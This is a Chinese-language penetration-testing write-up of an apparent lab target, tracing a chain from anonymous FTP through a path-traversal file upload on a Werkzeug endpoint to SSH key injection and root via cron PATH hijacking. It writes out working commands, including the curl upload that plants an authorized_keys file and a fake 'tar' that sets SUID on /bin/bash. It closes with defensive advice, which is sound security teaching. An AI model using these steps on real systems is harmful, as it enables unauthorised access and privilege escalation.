从FTP匿名登录到SSH密钥劫持:一次完整的渗透测试攻击链深度解析
在渗透测试的世界里,真正的挑战往往不在于单个漏洞的利用,而在于如何将看似孤立的弱点串联成一条完整的攻击路径。本文将还原一次典型的靶场渗透实战,展示从初始信息收集到最终权限提升的全过程,重点剖析攻击者的思考逻辑与决策过程。
1. 信息收集与目标测绘
任何成功的渗透测试都始于全面而细致的信息收集。在这个阶段,我们使用Nmap对目标系统进行了两次扫描:
# 快速端口扫描 sudo nmap --min-rate 10000 -p- 192.168.244.249 # 详细服务探测 sudo nmap -sT -sV -O -sC -p21,22,111,139,443,445,2049,10000,25022,33414,40080 192.168.244.249扫描结果揭示了四个关键开放端口:
| 端口 | 服务 | 版本信息 | 关键发现 |
|---|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.3 | 允许匿名登录 |
| 25022 | SSH | OpenSSH 8.6 | 非标准端口 |
| 33414 | Werkzeug调试接口 | Python/3.9.13 | 可能存在开发接口 |
| 40080 | HTTP | Apache/2.4.53 (Fedora) | 基础网页服务 |
关键决策点:面对多个潜在入口,我们优先选择FTP匿名登录进行初步探索,因为这种低权限访问通常能提供有价值的信息。
2. 初始访问:FTP匿名登录的意外收获
通过FTP匿名登录,我们很快确认了服务配置:
ftp 192.168.244.249 Name: anonymous虽然无法直接获取敏感文件,但这一步骤确认了目标系统存在配置不当问题。更重要的是,它验证了我们的第一个假设:系统管理员可能在其他服务上也存在类似的安全疏忽。
注意:现代系统中FTP匿名登录已不多见,一旦发现往往意味着整体安全配置存在问题
3. Web应用分析:Werkzeug调试接口的突破
33414端口的Werkzeug接口引起了我们的注意。通过目录扫描发现了几个关键端点:
/file-list?dir=/tmp # 文件列表查看 /file-upload # 文件上传功能经过测试,文件上传功能存在严重缺陷:
- 允许上传特定扩展名文件(txt, pdf, png等)
- 未正确过滤路径穿越攻击(../)
- 上传目录可预测(/tmp)
利用这些缺陷,我们成功实现了任意文件写入:
# 生成SSH密钥对 ssh-keygen -t rsa -f attack_key # 上传公钥到目标用户.ssh目录 curl -X POST -F "file=@attack_key.pub" -F "filename=/home/alfredo/.ssh/authorized_keys" http://192.168.244.249:33414/file-upload攻击逻辑演进:从简单的文件上传到SSH密钥注入,关键在于发现Werkzeug接口未对文件路径进行严格校验,这使我们能够覆盖关键认证文件。
4. 权限提升:从普通用户到root
通过SSH密钥成功登录alfredo账户后,我们开始系统内部侦查:
# 查找SUID特权程序 find / -perm -u=s -type f 2>/dev/null # 检查定时任务 cat /etc/crontab发现关键线索:系统每分钟以root身份执行备份脚本:
*/1 * * * * root /usr/local/bin/backup-flask.sh分析备份脚本内容:
#!/bin/sh export PATH="/home/alfredo/restapi:$PATH" cd /home/alfredo/restapi tar czf /tmp/flask.tar.gz *利用PATH环境变量注入漏洞,我们创建恶意tar程序:
# 在可写目录创建伪装的tar echo 'chmod +s /bin/bash' > /home/alfredo/restapi/tar chmod +x /home/alfredo/restapi/tar # 等待定时任务执行 bash -p # 获取root shell提权要点:通过控制PATH环境变量,我们劫持了tar命令的执行路径,使系统执行我们的恶意代码而非真正的tar程序。
5. 攻击链复盘与防御建议
完整的攻击路径可以总结为:
- FTP匿名登录 → 确认系统配置不当
- Werkzeug调试接口 → 文件上传漏洞
- SSH密钥注入 → 获取用户权限
- Cron任务漏洞 → PATH劫持提权
针对这类攻击的防御措施包括:
服务加固:
- 禁用不必要的匿名登录
- 限制调试接口的访问权限
- 对文件上传实施严格的路径校验
权限控制:
- 避免在定时任务中使用相对路径
- 限制SUID/SGID程序数量
- 实施最小权限原则
监控措施:
- 监控敏感目录的文件变更
- 记录特权命令的执行
- 设置SSH登录告警
在实际渗透测试中,这种由多个中低危漏洞串联形成完整攻击链的情况非常常见。安全团队应当定期进行红队演练,模拟攻击者的思维方式,才能发现这类纵深防御体系中的薄弱环节。